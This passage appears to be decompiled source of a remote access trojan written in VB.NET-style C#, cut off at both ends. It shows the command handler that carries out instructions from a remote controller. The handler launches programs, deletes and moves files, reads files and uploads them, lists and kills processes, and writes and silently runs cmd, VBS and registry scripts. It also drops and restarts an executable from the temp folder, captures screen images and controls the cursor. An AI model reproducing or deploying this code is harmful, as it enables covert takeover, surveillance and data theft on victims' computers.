string str41 = Strings.Replace(Expression, Find, "");
strArray7[0] = str41;
strArray6[1] = "*";
strArray6[2] = Conversions.ToString(FileSystem.FileLen(file));
strArray6[3] = "*";
strArray6[4] = API.FEN(memoryStream.ToArray());
s7 = string.Concat(strArray6);
string str42 = API.ENB(ref s7);
str36 = str40 + y + str42;
memoryStream.Dispose();
encoderParams.Dispose();
image.Dispose();
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
string str43 = str36;
string y = IND.Y;
string Expression = file;
Array Instance15 = Instance1;
object[] objArray28 = new object[1];
object[] objArray29 = objArray28;
int num22 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local31 = (ValueType) num22;
objArray29[0] = (object) local31;
object[] Arguments7 = objArray28;
string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null));
string Find = API.DEB(ref s9);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num22,
(object) s9
}, (string[]) null, true, false);
string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
string str44 = API.ENB(ref s10);
str36 = str43 + y + str44;
ProjectData.ClearProjectError();
}
}
else
{
string str45 = str36;
string y = IND.Y;
string Expression = file;
Array Instance16 = Instance1;
object[] objArray30 = new object[1];
object[] objArray31 = objArray30;
int num23 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local32 = (ValueType) num23;
objArray31[0] = (object) local32;
object[] Arguments8 = objArray30;
string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null));
string Find = API.DEB(ref s11);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num23,
(object) s11
}, (string[]) null, true, false);
s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
string str46 = API.ENB(ref s7);
str36 = str45 + y + str46;
}
}
B b = MyProject.Forms.B;
string str47 = "#9" + str36;
ref string local33 = ref str47;
b.SEND(ref local33);
}
else if (Operators.CompareString(Left1, "#11", false) == 0)
{
IND.ER = 1;
int num24 = Instance1.Length - 1;
for (int index = 1; index <= num24; ++index)
{
try
{
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string fileName = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s
}, (string[]) null, true, false);
Process.Start(fileName);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
}
else if (Operators.CompareString(Left1, "#12", false) == 0)
{
IND.ER = 1;
Array Instance17 = Instance1;
object[] objArray32 = new object[1];
object[] objArray33 = objArray32;
int num25 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num25;
objArray33[0] = (object) local;
object[] Arguments = objArray32;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null));
string Expression = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num25,
(object) s
}, (string[]) null, true, false);
Array Instance18 = (Array) Strings.Split(Expression, "\r\n");
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 3
}, (string[]) null), (object) "DIR", false))
MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 2
}, (string[]) null)));
else
MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
{
(object) 2
}, (string[]) null)));
}
else if (Operators.CompareString(Left1, "#13", false) == 0)
{
IND.ER = 1;
int num26 = Instance1.Length - 1;
for (int index = 1; index <= num26; ++index)
{
string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string path3 = API.DEB(ref s12);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s12
}, (string[]) null, true, false);
if (Directory.Exists(path3))
{
try
{
string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string path4 = API.DEB(ref s13);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s13
}, (string[]) null, true, false);
Directory.Delete(path4, true);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
else
{
try
{
string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string path5 = API.DEB(ref s14);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s14
}, (string[]) null, true, false);
File.Delete(path5);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
}
}
else if (Operators.CompareString(Left1, "#14", false) == 0)
{
IND.ER = 1;
Array Instance19 = Instance1;
object[] objArray34 = new object[1];
object[] objArray35 = objArray34;
int num27 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num27;
objArray35[0] = (object) local;
object[] Arguments = objArray34;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null));
string Path = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num27,
(object) s
}, (string[]) null, true, false);
FileSystem.MkDir(Path);
}
else if (Operators.CompareString(Left1, "#15", false) == 0)
{
IND.ER = 1;
int num28 = Instance1.Length - 1;
for (int index = 1; index <= num28; ++index)
{
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string Expression = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s
}, (string[]) null, true, false);
Array Instance20 = (Array) Strings.Split(Expression, "\r\n");
if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\")))
Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 2
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"));
else
File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 2
}, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
{
(object) 1
}, (string[]) null))), "\\\\", "\\"));
}
}
else if (Operators.CompareString(Left1, "#16", false) == 0)
{
IND.ER = 1;
B b = MyProject.Forms.B;
string str48 = "#11" + IND.Y;
Array Instance21 = Instance1;
object[] objArray36 = new object[1];
object[] objArray37 = objArray36;
int num29 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local34 = (ValueType) num29;
objArray37[0] = (object) local34;
object[] Arguments = objArray36;
string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null));
string path = API.DEB(ref s15);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num29,
(object) s15
}, (string[]) null, true, false);
string s16 = File.ReadAllText(path);
string str49 = API.ENB(ref s16);
string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 2
}, (string[]) null)));
ref string local35 = ref str50;
b.SEND(ref local35);
}
else if (Operators.CompareString(Left1, "#17", false) == 0)
{
IND.ER = 1;
Array Instance22 = Instance1;
object[] objArray38 = new object[1];
object[] objArray39 = objArray38;
int num30 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local36 = (ValueType) num30;
objArray39[0] = (object) local36;
object[] Arguments9 = objArray38;
string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null));
string path = API.DEB(ref s17);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num30,
(object) s17
}, (string[]) null, true, false);
Array Instance23 = Instance1;
object[] objArray40 = new object[1];
object[] objArray41 = objArray40;
int num31 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local37 = (ValueType) num31;
objArray41[0] = (object) local37;
object[] Arguments10 = objArray40;
string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null));
string contents = API.DEB(ref s18);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num31,
(object) s18
}, (string[]) null, true, false);
File.WriteAllText(path, contents);
}
else if (Operators.CompareString(Left1, "#18", false) == 0)
{
IND.ER = 1;
Array Instance24 = Instance1;
object[] objArray42 = new object[1];
object[] objArray43 = objArray42;
int num32 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num32;
objArray43[0] = (object) local;
object[] Arguments = objArray42;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null));
string path = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num32,
(object) s
}, (string[]) null, true, false);
File.Create(path);
}
else if (Operators.CompareString(Left1, "#19", false) == 0)
{
IND.ER = 1;
MemoryStream memoryStream = new MemoryStream();
int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null).ToString().Length + IND.Y.Length - 1;
int num34 = Da.Length - 1;
for (int index = num33; index <= num34; ++index)
memoryStream.WriteByte(Da[index]);
Array Instance25 = Instance1;
object[] objArray44 = new object[1];
object[] objArray45 = objArray44;
int num35 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local38 = (ValueType) num35;
objArray45[0] = (object) local38;
object[] Arguments = objArray44;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null));
string path = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num35,
(object) s
}, (string[]) null, true, false);
byte[] array = memoryStream.ToArray();
bool flag = false;
ref bool local39 = ref flag;
byte[] bytes = API.ZIP(array, ref local39);
File.WriteAllBytes(path, bytes);
}
else if (Operators.CompareString(Left1, "#20", false) == 0)
{
IND.ER = 1;
Array Instance26 = Instance1;
object[] objArray46 = new object[1];
object[] objArray47 = objArray46;
int num36 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local40 = (ValueType) num36;
objArray47[0] = (object) local40;
object[] Arguments11 = objArray46;
string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null));
string Expression = API.DEB(ref s19);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num36,
(object) s19
}, (string[]) null, true, false);
Array Instance27 = (Array) Strings.Split(Expression, "\\");
MemoryStream memoryStream = new MemoryStream();
byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1]
{
Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1]
{
(object) (Instance27.Length - 1)
}, (string[]) null)), (object) IND.Y)
}, (string[]) null, (System.Type[]) null, (bool[]) null);
memoryStream.Write(buffer1, 0, buffer1.Length);
Array Instance28 = Instance1;
object[] objArray48 = new object[1];
object[] objArray49 = objArray48;
int num37 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local41 = (ValueType) num37;
objArray49[0] = (object) local41;
object[] Arguments12 = objArray48;
string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null));
string path = API.DEB(ref s20);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num37,
(object) s20
}, (string[]) null, true, false);
byte[] Byt = File.ReadAllBytes(path);
bool flag = true;
ref bool local42 = ref flag;
byte[] buffer2 = API.ZIP(Byt, ref local42);
memoryStream.Write(buffer2, 0, buffer2.Length);
MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
memoryStream.Dispose();
}
else if (Operators.CompareString(Left1, "#21", false) == 0)
{
IND.ER = 1;
int num38 = Instance1.Length - 1;
for (int index = 1; index <= num38; ++index)
{
Thread.Sleep(10);
string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string filename = API.DEB(ref s21);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s21
}, (string[]) null, true, false);
new Bitmap(filename).Dispose();
string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string Expression = API.DEB(ref s22);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s22
}, (string[]) null, true, false);
Array Instance29 = (Array) Strings.Split(Expression, "\\");
B b = MyProject.Forms.B;
string[] strArray8 = new string[5]
{
"#13",
IND.Y,
null,
null,
null
};
string[] strArray9 = strArray8;
Array Instance30 = Instance29;
object[] objArray50 = new object[1];
object[] objArray51 = objArray50;
int num39 = Instance29.Length - 1;
// ISSUE: variable of a boxed type
__Boxed<int> local43 = (ValueType) num39;
objArray51[0] = (object) local43;
object[] Arguments = objArray50;
string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null));
string str51 = API.ENB(ref s23);
NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2]
{
(object) num39,
(object) s23
}, (string[]) null, true, false);
strArray9[2] = str51;
strArray8[3] = IND.Y;
string[] strArray10 = strArray8;
string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null));
string path = API.DEB(ref s24);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) index,
(object) s24
}, (string[]) null, true, false);
string str52 = API.FEN(File.ReadAllBytes(path));
strArray10[4] = str52;
string str53 = string.Concat(strArray8);
ref string local44 = ref str53;
b.SEND(ref local44);
}
}
else if (Operators.CompareString(Left1, "#22", false) == 0)
{
IND.ER = 1;
string str54;
foreach (Process process in Process.GetProcesses())
{
try
{
str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id);
ProjectData.ClearProjectError();
}
}
B b = MyProject.Forms.B;
string str55 = "#14" + str54;
ref string local = ref str55;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#23", false) == 0)
{
IND.ER = 1;
int num40 = Instance1.Length - 1;
for (int index = 1; index <= num40; ++index)
Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null))).Kill();
}
else if (Operators.CompareString(Left1, "#24", false) == 0)
{
try
{
chat.clos = true;
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
Thread.Sleep(100);
Array Instance31 = Instance1;
object[] objArray52 = new object[1];
object[] objArray53 = objArray52;
int num41 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num41;
objArray53[0] = (object) local;
object[] Arguments = objArray52;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null));
string str56 = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num41,
(object) s
}, (string[]) null, true, false);
B.Cht = str56;
}
else if (Operators.CompareString(Left1, "#25", false) == 0)
{
IND.ER = 0;
if (B.Chat.InvokeRequired)
{
IND.indd method = new IND.indd(IND.inddd);
Array Instance32 = Instance1;
object[] objArray54 = new object[1];
object[] objArray55 = objArray54;
int num42 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num42;
objArray55[0] = (object) local;
object[] Arguments = objArray54;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null));
string str57 = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num42,
(object) s
}, (string[]) null, true, false);
string str58 = str57;
B.Chat.Invoke((Delegate) method, (object) str58);
}
else
{
RichTextBox t1 = B.Chat.T1;
RichTextBox richTextBox = t1;
string[] strArray11 = new string[5]
{
t1.Text,
MyProject.Forms.chat.nick,
" : ",
null,
null
};
string[] strArray12 = strArray11;
Array Instance33 = Instance1;
object[] objArray56 = new object[1];
object[] objArray57 = objArray56;
int num43 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num43;
objArray57[0] = (object) local;
object[] Arguments = objArray56;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null));
string str59 = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num43,
(object) s
}, (string[]) null, true, false);
strArray12[3] = str59;
strArray11[4] = "\r\n";
string str60 = string.Concat(strArray11);
richTextBox.Text = str60;
}
}
else if (Operators.CompareString(Left1, "#26", false) == 0)
{
IND.ER = 0;
chat.clos = true;
}
else if (Operators.CompareString(Left1, "#27", false) == 0)
{
IND.ER = 1;
int num44 = 0;
string s25;
do
{
if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)))))
{
s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
break;
}
try
{
FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))));
s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
break;
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
++num44;
}
while (num44 <= 9999);
string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null).ToString().ToLower();
if (Operators.CompareString(lower, "cmd", false) == 0)
{
string path = s25;
Array Instance34 = Instance1;
object[] objArray58 = new object[1];
object[] objArray59 = objArray58;
int num45 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num45;
objArray59[0] = (object) local;
object[] Arguments = objArray58;
string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null));
string contents = API.DEB(ref s26);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num45,
(object) s26
}, (string[]) null, true, false);
File.WriteAllText(path, contents);
Interaction.Shell(s25, AppWinStyle.Hide);
}
else if (Operators.CompareString(lower, "vbs", false) == 0)
{
string path = s25;
Array Instance35 = Instance1;
object[] objArray60 = new object[1];
object[] objArray61 = objArray60;
int num46 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num46;
objArray61[0] = (object) local;
object[] Arguments = objArray60;
string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null));
string contents = API.DEB(ref s27);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num46,
(object) s27
}, (string[]) null, true, false);
File.WriteAllText(path, contents);
Process.Start(s25);
}
else if (Operators.CompareString(lower, "Reg", false) == 0)
{
string path = s25;
Array Instance36 = Instance1;
object[] objArray62 = new object[1];
object[] objArray63 = objArray62;
int num47 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num47;
objArray63[0] = (object) local;
object[] Arguments = objArray62;
string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null));
string contents = API.DEB(ref s28);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num47,
(object) s28
}, (string[]) null, true, false);
File.WriteAllText(path, contents);
Interaction.Shell(s25);
}
else
{
string path = s25;
Array Instance37 = Instance1;
object[] objArray64 = new object[1];
object[] objArray65 = objArray64;
int num48 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num48;
objArray65[0] = (object) local;
object[] Arguments = objArray64;
string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null));
string contents = API.DEB(ref s29);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num48,
(object) s29
}, (string[]) null, true, false);
File.WriteAllText(path, contents);
Process.Start(s25);
}
B b = MyProject.Forms.B;
string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25);
ref string local45 = ref str61;
b.SEND(ref local45);
}
else if (Operators.CompareString(Left1, "#28", false) == 0)
{
IND.ER = 1;
object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null);
if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false))
{
B b = MyProject.Forms.B;
string y = IND.Y;
ref byte[] local46 = ref C.Plug;
string str62 = "plugin.C";
ref string local47 = ref str62;
string str63 = "W";
ref string local48 = ref str63;
object obj = (object) new object[0];
ref object local49 = ref obj;
string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49));
string str64 = API.ENB(ref s);
string str65 = "#17" + y + str64;
ref string local50 = ref str65;
b.SEND(ref local50);
}
else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false))
{
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 2
}, (string[]) null));
ref byte[] local51 = ref C.Plug;
string str66 = "plugin.C";
ref string local52 = ref str66;
string str67 = "CW";
ref string local53 = ref str67;
object[] objArray66 = new object[2]
{
(object) integer,
null
};
object[] objArray67 = objArray66;
Array Instance38 = Instance1;
object[] objArray68 = new object[1];
object[] objArray69 = objArray68;
int num49 = 3;
// ISSUE: variable of a boxed type
__Boxed<int> local54 = (ValueType) num49;
objArray69[0] = (object) local54;
object[] Arguments = objArray68;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null));
string str68 = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num49,
(object) s
}, (string[]) null, true, false);
objArray67[1] = (object) str68;
object obj = (object) objArray66;
ref object local55 = ref obj;
C.inv(ref local51, ref local52, ref local53, ref local55);
}
else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false))
{
Array Instance39 = Instance1;
object[] objArray70 = new object[1];
object[] objArray71 = objArray70;
int num50 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local56 = (ValueType) num50;
objArray71[0] = (object) local56;
object[] Arguments13 = objArray70;
int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null));
ref int local57 = ref integer1;
Array Instance40 = Instance1;
object[] objArray72 = new object[1];
object[] objArray73 = objArray72;
int num51 = 3;
// ISSUE: variable of a boxed type
__Boxed<int> local58 = (ValueType) num51;
objArray73[0] = (object) local58;
object[] Arguments14 = objArray72;
int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null));
ref int local59 = ref integer2;
API.wd.G(ref local57, ref local59);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num51,
(object) integer2
}, (string[]) null, true, false);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num50,
(object) integer1
}, (string[]) null, true, false);
}
else
{
if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false))
return;
MemoryStream memoryStream1 = new MemoryStream();
Array Instance41 = Instance1;
object[] objArray74 = new object[1];
object[] objArray75 = objArray74;
int num52 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num52;
objArray75[0] = (object) local;
object[] Arguments = objArray74;
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null));
Image image = C.Capture(ref integer);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num52,
(object) integer
}, (string[]) null, true, false);
MemoryStream memoryStream2 = memoryStream1;
ImageFormat jpeg = ImageFormat.Jpeg;
image.Save((Stream) memoryStream2, jpeg);
MemoryStream memoryStream3 = new MemoryStream();
memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length);
memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length);
MyProject.Forms.B.WC.SendData(memoryStream3.ToArray());
memoryStream1.Dispose();
memoryStream3.Dispose();
MyProject.Forms.B = (B) null;
}
}
else if (Operators.CompareString(Left1, "#29", false) == 0)
{
IND.ER = 0;
B b = MyProject.Forms.B;
string str69 = "#Bla";
ref string local60 = ref str69;
b.SEND(ref local60);
int num53 = 0;
string str70;
while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"))
{
try
{
File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe");
str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
goto label_259;
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
++num53;
if (num53 > 999)
goto label_259;
}
str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
label_259:
string path = str70;
byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
bool flag = false;
ref bool local61 = ref flag;
byte[] bytes = API.ZIP(Byt, ref local61);
File.WriteAllBytes(path, bytes);
Process.Start(new ProcessStartInfo()
{
FileName = str70,
Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id)
});
ProjectData.EndApp();
}
else if (Operators.CompareString(Left1, "#30", false) == 0)
{
try
{
Array Instance42 = Instance1;
object[] objArray76 = new object[1];
object[] objArray77 = objArray76;
int num54 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num54;
objArray77[0] = (object) local;
object[] Arguments = objArray76;
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null));
byte[] numArray = sc.gc(ref integer);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num54,
(object) integer
}, (string[]) null, true, false);
byte[] buffer = numArray;
MemoryStream memoryStream = new MemoryStream();
memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length);
memoryStream.Write(buffer, 0, buffer.Length);
MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
else if (Operators.CompareString(Left1, "#31", false) == 0)
{
IND.ER = 0;
if (B.Busy)
return;
B.Busy = true;
B b = MyProject.Forms.B;
string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height);
ref string local = ref str71;
b.SEND(ref local);
B.Busy = false;
}
else if (Operators.CompareString(Left1, "#32", false) == 0)
{
IND.ER = 0;
Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
